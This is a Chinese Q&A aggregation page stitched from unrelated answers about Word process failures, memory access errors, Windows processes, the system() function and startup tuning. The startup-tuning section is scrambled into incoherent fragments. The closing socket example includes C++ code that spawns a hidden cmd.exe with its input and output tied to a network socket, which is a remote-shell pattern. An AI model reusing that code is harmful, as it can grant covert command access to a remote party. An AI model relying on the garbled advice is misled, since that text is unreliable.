word和excel启动进程失败是什么意思
word和excel启动进程失败的相关解释如下:1、首先当然是杀毒了,是不是病毒影响2、运行msconfig在“一般”栏选正常启动,重启电脑,3、还是下载一个重新安装word和excel软件,4、操作系统出现其它问题影响,可以考虑重新安装操作系统。
C# 为什么添加word引用失败
运行某些程序的时候,有时会出现内存错误的提示,然后该程序就关闭。
“0x????????”指令引用的“0x????????”内存。
该内存不能为“read”。
“0x????????”指令引用的“0x????????”内存,该内存不能为“written”。
以上的情况相信大家都应该见到过,甚至说一些网友因为不爽于这个经常出现的错误提示而屡次重装系统。
相信普通用户应该不会理解那些复杂的十六进制代码。
出现这个现象有方面的,一是硬件,即内存方面有问题,二是软件,这就有多方面的问题了。
一:先说说硬件:一般来说,电脑硬件是很不容易坏的。
内存出现问题的可能性并不大(除非你的内存真的是杂牌的一塌徒地),主要方面是:1。
内存条坏了(二手内存情况居多)、2。
使用了有质量问题的内存,3。
内存插在主板上的金手指部分灰尘太多。
4。
使用不同品牌不同容量的内存,从而出现不兼容的情况。
5。
超频带来的散热问题。
你可以使用MemTest这个软件来检测一下内存,它可以彻底的检测出内存的稳定度。
二、如果都没有,那就从软件方面排除故障了。
先说原理:内存有个存放数据的地方叫缓冲区,当程序把数据放在缓冲区,需要操作系统提供的“功能函数”来申请,如果内存分配成功,函数就会将所新开辟的内存区地址返回给应用程序,应用程序就可以通过这个地址使用这块内存。
这就是“动态内存分配”,内存地址也就是编程中的“光标”。
内存不是永远都招之即来、用之不尽的,有时候内存分配也会失败。
当分配失败时系统函数会返回一个0值,这时返回值“0”已不表示新启用的光标,而是系统向应用程序发出的一个通知,告知出现了错误。
作为应用程序,在每一次申请内存后都应该检查返回值是否为0,如果是,则意味着出现了故障,应该采取一些措施挽救,这就增强了程序的“健壮性”。
若应用程序没有检查这个错误,它就会按照“思维惯性”认为这个值是给它分配的可用光标,继续在之后的执行中使用这块内存。
真正的0地址内存区储存的是计算机系统中最重要的“中断描述符表”,绝对不允许应用程序使用。
在没有保护机制的操作系统下(如DOS),写数据到这个地址会导致立即当机,而在健壮的操作系统中,如Windows等,这个操作会马上被系统的保护机制捕获,其结果就是由操作系统强行关闭出错的应用程序,以防止其错误扩大。
这时候,就会出现上述的内存不能为“read”错误,并指出被引用的内存地址为“0x00000000“。
内存分配失败故障的原因很多,内存不够、系统函数的版本不匹配等都可能有影响。
因此,这种分配失败多见于操作系统使用很长时间后,安装了多种应用程序(包括无意中“安装”的病毒程序),更改了大量的系统参数和系统档案之后。
在使用动态分配的应用程序中,有时会有这样的情况出现:程序试图读写一块“应该可用”的内存,但不知为什么,这个预料中可用的光标已经失效了。
有可能是“忘记了”向操作系统要求分配,也可能是程序自己在某个时候已经注销了这块内存而“没有留意”等等。
注销了的内存被系统回收,其访问权已经不属于该应用程序,因此读写操作也同样会触发系统的保护机制,企图“违法”的程序唯一的下场就是被操作终止执行,回收全部资源。
计算机世界的法律还是要比人类有效和严厉得多啊!像这样的情况都属于程序自身的BUG,你往往可在特定的操作顺序下重现错误。
无效光标不一定总是0,因此错误提示中的内存地址也不一定为“0x00000000”,而是其它随机数字。
首先建议:1、检查系统中是否有木马或病毒?>2、更新操作系统,让操作系统的安装程序重新拷贝正确版本的系统档案、修正系统参数。
有时候操作系统本身也会有BUG,要注意安装官方发行的升级程序。
3、尽量使用最新正式版本的应用程序、Beta版、试用版都会有BUG。
4、删除然后重新创建WinntSystem32WbemRepository文件夹中的文件:在桌面上右击我的电脑,然后单击管理。
在"服务和应用程序"下,单击服务,然后关闭并停止WindowsManagementInstrumentation服务。
删除WinntSystem32WbemRepository文件夹中的所有文件。
(在删除前请创建这些文件的备份副本。
)打开"服务和应用程序",单击服务,然后打开并启动WindowsManagementInstrumentation服务。
当服务重新启动时,将基于以下注册表项中所提供的信息重新创建这些文件:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWBEMCIMOMAutorecoverMOFs
程序调用word文档时,出现这个错误:远程过程调用失败。
(异常来...
你说的那个是《System Idle Process SYSTEM》吗?它不是一个真正的进程,是核心虚拟出来的! System Idle Process SYSTEM不是一个真正的进程,是核心虚拟出来的,多任务操作系统都有的!在没有可用的进程时,系统处于空运行状态,此时就是System Idle Process SYSTEM在运行!故它占用97%CPU时间,说明你的机器负荷很轻! system idle Process 是表示你系统剩余的CPU资源! 不要想去结束它! 要是它占CPU资源为0%的话那你就得要重新启动电脑了!“System Idle Process”进程占用资源为2%时,说明机器目前只有2%的资源是空闲的,即机器可能感染了病毒或被其他程序占用了98%的资源。
换句话说,“System Idle Process”进程占用资源占用资源越大则系统可用资源越多,其字面意思是“系统空闲进程” 你看看是否其它的进程占了CPU资源的%99,如果是其它的占了这么多的CPU资源的话,你便结束它好了!愿你开心! 是SYSTEM.EXE吗,如果是这个的话就是病毒!进程文件:System 进程名:System 描述:System - 系统 体制 计划 系统里确实有system这个进程,但注意,它并不是system.exe,可能是木马伪装而成的,还是先查查木马吧 进程文件:system.exe 进程名称:system.exe 描述: system.exe是netcontroller木马病毒生成的文件,出现在c:\windows目录下,建议将其删除。
但要系统的system进程区分开来。
system进程是没有.exe的,其信息可见:http://www.pctutu.com/tasklist/system.html 出品者:未知 属于:未知 系统进程:否 后台进程:否 使用网络:是 硬件相关:是 常见错误:未知 内存使用:未知 安全等级:4 间谍软件:否 广告软件:否 病毒:否 木马:否 如果你用的是xp系统,这个进程在“任务管理器”中就结束不掉,结束掉的进程说明这个进程不能对系统造成直接危害,不过,用其它软件可能能强制结束,但这样会造成蓝屏等现象。
如果你是vista系统,结束掉之后,马上就会蓝屏。
这个是系统的进程,是内存运行的!如果关掉会有可能出现两种情况! 一:蓝屏。
二:出现那个说你是非法程序的对话框。
总的来说就是系统有可能崩溃! system是一个系统正常进程,通常无毒,属于system权限 系统中还有一个没有扩展名的system文件,是系统注册表文件,位置: %systemroot%\system32\config\system system:[ 'sist?m ] n. 1. 体系;系统[C] 2. 制度,体制[C] 3. 现存社会体制[the S] 4. 秩序,规律[U] 5. 方式,方法[C] 6. 身体,全身[the S] 7. 宇宙,世界[the S] windows操作系统下system () 函数详解 函数名: system 功 能: 发出一个DOS命令 用 法: int system(char *command); system函数已经被收录在标准c库中,可以直接调用 程序例: #include #include int main(void) { printf("About to spawn command.com and run a DOS command\n"); system("dir"); return 0; } linux操作系统下system () 函数详解 (执行shell 命令) 相关函数 fork,execve,waitpid,popen 表头文件 #i nclude 定义函数 int system(const char * string); 函数说明 system()会调用fork()产生子进程,由子进程来调用/bin/sh-c string来执行参数string字符串所代表的命令,此命>令执行完后随即返回原调用的进程。
在调用system()期间SIGCHLD 信号会被暂时搁置,SIGINT和SIGQUIT 信号则会被忽略。
返回值 =-1:出现错误 =0:调用成功但是没有出现子进程 >0:成功退出的子进程的id 如果system()在调用/bin/sh时失败则返回127,其他失败原因返回-1。
若参数string为空指针(NULL),则返回非零值>。
如果system()调用成功则最后会返回执行shell命令后的返回值,但是此返回值也有可能为 system()调用/bin/sh失败所返回的127,因此最好能再检查errno 来确认执行成功。
附加说明 在编写具有SUID/SGID权限的程序时请勿使用system(),system()会继承环境变量,通过环境变量可能会造成系统安全的问题。
sql 2008 远程过程调用失败 0x800706be,你这个问题怎么解决的呀?...
但实际上当你安装的字体超过500 种时、[compatibility32],在“我的电脑”上按右键选择“属性”一、软件篇 1、设定虚拟内存 硬盘中有一个很宠大的数据交换文件,它是系统预留给虚拟内存作暂存的地方,很多应用程序都经常会使用到,所以系统需要经常对主存储器作大量的数据存取,因此存取这个档案的速度便构成影响计算机快慢的非常重要因素。
8、取消背景和关闭activedesktop 不知大家有否留意到,自然系统运行速度也就越来越慢了。
但是你知道吗?Windows 2000,有一幅背景?那些程序,必定要全部载完才开始进入Windows,你有否想过,如果可删除一些不必要的开机时的程序,开机时的速度会否加快呢?答案是会的!想要修改!一般来说现在大多数人用的还是PATA模式的硬盘,一般来说,如果想删除随机启动程序,可去“启动”清单中删除,但如果想详细些,例如是QQ、popkiller 之类的软件,是不能在“启动”清单中删除的,就会详细列出在启动电脑时加载的随机启动程序了!XP系统你也可以在“运行”是输入Msconfig调用“系统配置实用程序”才终止系统随机启动程序,2000系统需要从XP中复制msconfig程序,而且还拖慢计算机在执行应用程序时的速度;,然后键入win.ini,开启后,可以把以下各段落的内容删除,是删内容,其中最明显的现象有,X取介于2~255之间的值! 5、ADSL导致的系统启动变慢 默认情况下Windows XP在启动时会对网卡等网络设备进行自检,其实如果你已经打开了杀毒软件的实时监视功能。
因为即使删除了某个程序,双击“常规”项中的“Internet协议”打开“TCP/:字体从应用程序的字体列表中消失以及Windows的启动速度大幅下降..至于关闭activedesktop,即是叫你关闭从桌面上的web画面,其实是很浪费计算机资源的!不但如此,Windows的启动和退出时需要加载的DLL动态链接库文件越来越大,千万不要连标题也删除!它们包括,还有它的 注册表 和运行库;"、检查应用软件或者驱动程序 有些程序在电脑系统启动会时使系统变慢。
将网卡的IP地址配置为一个在公网(默认的网关是192.168.1.1)中尚未使用的数值如192、桌面图标太多会惹祸 桌面上有太多图标也会降低系统启动速度。
Windows每次启动并显示桌面时,都需要逐个查找桌面快捷方式的图标并加载它们,图标越多、加载运行库。
11?随机启动程序就是在开机时加载的程序、把Windows变得更苗条 与DOS系统相比,Windows过于庞大,而且随着你每天的操作。
10..、添加新游戏等等使得它变得更加庞大,而更为重要的是变大的不仅仅是它的目录.1、[imecompatibility]、[compatibility95]、[modulecompatibility]和[embedding]。
二、DMA66,在“高级”选项里的“效能”的对话框中,对“虚拟内存”进行设置。
3。
如果要是否是这方面的原因,我们可以从“安全模式”启动。
因为这是原始启动,计算机在做着什么呢。
同时有些杀毒软件提供了系统启动扫描功能,就会出现问题,比如..。
在此建议最好将用不到或者不常用的字体删除,为避免删除后发生意外.168,那么启动时扫描系统就显得有些多余,还是将这项功能禁止吧,这将会耗费非常多的时间,在“外观”的对话框中,在桌面预设的青绿色,改为黑色,可按\"开始\、硬件篇 1,最新的SATA-150都出来了,名为Windows XX,那副就是web画面了,在开机至到进入Windows的那段时间、DMA100和DMA133、XP、2003系统有时会自行关闭硬盘的DMA模式,自动改用PIO模式运行!这就造成在使用以上系统中硬盘性能突然下降,要去“附属应用程序”,然后去“系统工具”,再去“系统信息”,可先进行必要的备份!所以如何系统配置不高就不要开启:[compatibility]。
这时我们就需要使用一些彻底删除DLL的程序,再按内容,然后在“背景”的对话框中,按上方工具列的“工具”;IP属性”菜单。
建议极品玩家们最好每隔两个月就重新安装一遍Windows,这很有效! 建议大家将不常用的桌面图标放到一个专门的文件夹中或者干脆删除.X,它们可以使Windows恢复苗条的身材,“安全模式”运行的要比正常运行时要慢。
但是,这样我们就需要不在使用背景了,方法是:在桌面上按鼠标右键,再按内容,例如在桌面上按鼠标右键,安装新软件。
6、字体对速度的影响 虽然 微软 声称Windows操作系统可以安装1000~1500种字体:系统起动速度明显变慢,一般来说正常Windows XP系统启动时那个由左向右运动的滑条最多走2~4次系统就能启动,但这一问题发生时可能会走5~8次或更多!而且在运行系统时进行硬盘操作时明显感觉变慢,在运行一些大的软件时CPU占用率时常达到100%而产生停顿,玩一些大型3D游戏时画面时有明显停顿、更改系统开机时间 虽然你已知道了如何新增和删除一些随机启动程序。
要设定虚拟内存;"?又或者是,执行着什么程序呢,所花费的时间当然就越多。
随机启动程序不但拖慢开机时的速度,而且更快地消耗计算机资源以及内存,硬盘的PATA模式有DMA33,进去后,我们平时一直摆放在桌面上漂亮的背景,如果发现网卡的IP地址等未配置好就会对其进行...
请问我刚装的系统,打印测试页就出问题,如图;打印word文档用...
先来说说:explorer.exe 应用程序错误,内存溢出的问题 使用Windows操作系统的人有时会遇到这样的错误信息,运行某些程序的时候,有时会出现内存错误的提示,然后该程序会自动关闭或点击后关闭,严重的会无法关闭。
“0x????????”指令引用的“0x????????”内存。
该内存不能为“read”。
“0x????????”指令引用的“0x????????”内存,该内存不能为“written”。
不知你出现过类似这样的故障吗?(0x后面内容有可能不一样。
) 散一般出现这个现象有方面的,一是硬件,即内存方面有问题,二是软件,这就有多方面的问题了。
1、微软IE缓冲溢出漏洞引起 2、内存或虚拟内存地址使用冲突造成程序的运行需要分配一定的内存地址给程序使用,当程序结束时释放留出空间让给新的程序使用,win是多任务的系统有时前程序未结束 又有新的任务开始到底要多少内存或虚拟内存来保证我们同时运行的工作任务呢?也许win在这个问题上没弄好,所以有此错误常常发生,一般运行大型软件或多媒体后出现这种情况 3、劣质内存条也会出现这个问题一般来说,内存出现问题的可能性并不大,主要方面是:内存条坏了、内存质量有问题,还有就是2个不同牌子不同容量的内存混插,也比较容易出现不兼容的情况,同时还要注意散热问题,特别是超频后。
你可以使用MemTest这个软件来检测一下内存,它可以彻底的检测出内存的稳定度。
假如你是双内存,而且是不同品牌的内存条混插或者买了二手内存时,出现这个问题,这时,你就要检查是不是内存出问题了或者和其它硬件不兼容。
4、微软WINDOWS系统的漏洞,windows把内存地址0X00000000到0X0000ffff指定为分配null指针的地址范围,如果程序试图访问这一地址,则认为是错误。
c/c++编写的程序通常不进行严格的错误检查,当采用malloc来分配内存而可供分配的地址空间不够的情况下返回null指针。
但是代码不检查这种错误,认为地址分配已经成功,于是就访问0X00000000的地址,于是就发生内存违规访问,同时该进程被终止。
ASCII字符填充组成的pif文件时会出现以下情况:一个非法的pif文件(用ascii字符\''x\''填充)至少要369字节,系统才认为是一个合法的pif文件,才会以pif的图标[pifmgr.dll,0]显示,才会在属性里有程序、字体、内存、屏幕”等内容。
而且仅仅当一个非pif文件的大小是369字节时察看属性的“程序”页时,不会发生程序错误,哪怕是370字节也不行。
当对一个大于369字节的非法pif文件察看属性的“程序”页时,Explorer会出错,提示:\''***\''指令引用的\''***\''内存。
该内存不能为\''read\'' ,问题出在pif文件的16进制地址:0x00000181[0x87]0x00000182[0x01]和 0x00000231[0xC3]0x00000232[0x02]即使是一个合法pif文件,只要改动这四处的任意一处,也会引起程序错误。
而只要把0x00000181和0x00000182的值改为[0xFF][0xFF],那么其它地址任意更改都不会引起错误。
5、可能没有完全正确安装apache服务,且启动了它的原故; 把服务中OracleOraHomeXXHTTPServer改成停 止 6、应用程序没有检查内存分配失败程序需要一块内存用以保存数据时,就需要调用操作系统提供的“功能函数”来申请,如果内存分配成功,函数就会将所新开辟的内存区地址返回给应用程序,应用程序就可以通过这个地址使用这块内存。
这就是“动态内存分配”,内存地址也就是编程中的“指针”。
内存不是永远都招之即来、用之不尽的,有时候内存分配也会失败。
当分配失败时系统函数会返回一个0值,这时返回值“0”已不表示新启用的指针,而是系统向应用程序发出的一个通知,告知出现了错误。
作为应用程序,在每一次申请内存后都应该检查返回值是否为0,如果是,则意味着出现了故障,应该采取一些措施挽救,这就增强了程序的“健壮性”。
若应用程序没有检查这个错误,它就会按照“思维惯性”认为这个值是给它分配的可用指针,继续在之后的运行中使用这块内存。
真正的0地址内存区保存的是计算机系统中最重要的“中断描述符表”,绝对不允许应用程序使用。
在没有保护机制的操作系统下(如DOS),写数据到这个地址会导致立即死机,而在健壮的操作系统中,如Windows等,这个操作会马上被系统的保护机制捕获,其结果就是由操作系统强行关闭出错的应用程序,以防止其错误扩大。
这时候,就会出现上述的“写内存”错误,并指出被引用的内存地址为“0x00000000”。
内存分配失败故障的原因很多,内存不够、系统函数的版本不匹配等都可能有影响。
因此,这种分配失败多见于操作系统使用很长时间后,安装了多种应用程序(包括无意中“安装”的病毒程序),更改了大量的系统参数和系统文件之后。
7、应用程序由于自身BUG引用了不正常的内存指针在使用动态分配的应用程序中,有时会有这样的情况出现:程序试图读写一块“应该可用”的内存,但不知为什么,这个预料中可用的指针已经失效了。
有可能是“忘记了”向操作系统要求分配,也可能是程序自己在某个时候已经注销了这块内存而“没有留意”等等。
注销了的内存被系统回收,其访问权已经不属于该应用程序,因...
创建套接字失败
下面是客户端的链接服务端的代码(IP你自己换成服务端ip):// tcpclient.cpp : Defines the entry point for the console application.//#include "stdafx.h"#include #pragma comment(lib,"ws2_32")#include #include DWORD WINAPI Thread( LPVOID lpParam ) { SOCKET s=(SOCKET)lpParam; STARTUPINFO si; GetStartupInfo(&si); si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; si.wShowWindow=SW_HIDE; //使cmd的输入输出直接和socket关联 si.hStdInput=si.hStdOutput=si.hStdError=(void*)s; char cmdline[256]; //得到cmd路径 GetSystemDirectory(cmdline,sizeof(cmdline)); strcat(cmdline,"\\cmd.exe"); PROCESS_INFORMATION ProcessInformation; int ret; //建立cmd进程 ret=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation); //等待进程结束 WaitForSingleObject(ProcessInformation.hProcess,INFINITE); CloseHandle(ProcessInformation.hProcess); return 0; } int main(int argc, char* argv[]) { WSADATA wsaData; WORD sockVersion = MAKEWORD(2, 2); //加载winsock库 if(WSAStartup(sockVersion, &wsaData) != 0) return 0; // 创建套节字 SOCKET sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sClient == INVALID_SOCKET) { printf("socket error\n"); return 0; } // 在sockaddr_in结构中装入服务器端地址信息 sockaddr_in servAddr; char revData[2048]; servAddr.sin_family = AF_INET; servAddr.sin_port = htons(4500);// htons函数 将主机的无符号短整形数转换成网络 //字节顺序,4500端口为要连接服务器端的端口 servAddr.sin_addr.S_un.S_addr =inet_addr("127.0.0.1");//服务器端ip //连接服务器端 if(connect(sClient,(sockaddr*)&servAddr,sizeof(servAddr))==SOCKET_ERROR) { printf("connect error\n"); closesocket(sClient); return 0; } char buff[2048]; while(1) { ZeroMemory(buff,2048); int i=-1; do{ i++; buff[i] = getchar(); //i++; //cout }while(buff[i]!=0xa); //发送数据 send(sClient,buff,strlen(buff),0); char revData[2048]; //直到收到有效数据时才打印出来 int ret=recv(sClient,revData,2048,0); if(ret>0) { //为了防止打印出错,把字符串结尾设成0x00 revData[ret]=0x00; cout } } closesocket(sClient); WSACleanup(); return 0; } 下面是服务端代码:// tcpserver.cpp : Defines the entry point for the console application.//#include "stdafx.h"#include #pragma comment(lib,"ws2_32")#include #include int main(int argc, char* argv[]) { WSADATA wsaData; WORD sockVersion = MAKEWORD(2, 2); //加载winsock库 if(WSAStartup(sockVersion, &wsaData) != 0) return 0; // 创建套节字 SOCKET sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sListen == INVALID_SOCKET) { printf("socket error\n"); return 0; } // 在sockaddr_in结构中装入地址信息 sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(4500); // htons函数 将主机的无符号短整形数转换成网络 //字节顺序 sin.sin_addr.S_un.S_addr = INADDR_ANY; // 使套接字和本地地址绑定 if(bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR) { printf(" bind error \n"); closesocket(sListen); return 0; } // 设置套接字进入监听模式 if(listen(sListen, 5) == SOCKET_ERROR) { printf("listen error\n"); closesocket(sListen); return 0; } // 循环接受客户的连接请求 sockaddr_in remoteAddr; SOCKET sClient; int nAddrLen = sizeof(remoteAddr); char revData[255]; while(TRUE) { // 接受一个新连接 sClient = accept(sListen, (SOCKADDR*)&remoteAddr, &nAddrLen); //accept函数调用失败则继续等待连接。
if(sClient == INVALID_SOCKET) { printf("accept() error"); continue; } //打印出连接者的ip printf(" 接受到一个连接:%s \r\n", inet_ntoa(remoteAddr.sin_addr)); //直到收到有效数据时才打印出来 while(1) {/* int ret=recv(sClient,revData,255,0); if(ret>0) { //为了防止打印出错,把字符串结尾设成0x00 revData[ret]=0x00; cout } */ while(1) { char buff[256]; // cin>>buff; gets(buff); //发送数据 send(sClient,buff,strlen(buff),0); // 关闭套接字句柄,结束会话 // closesocket(sClient); } } } closesocket(sListen); WSACleanup(); return 0; }
转载请注明出处51数据库 » word进程调用失败
AK47突突突突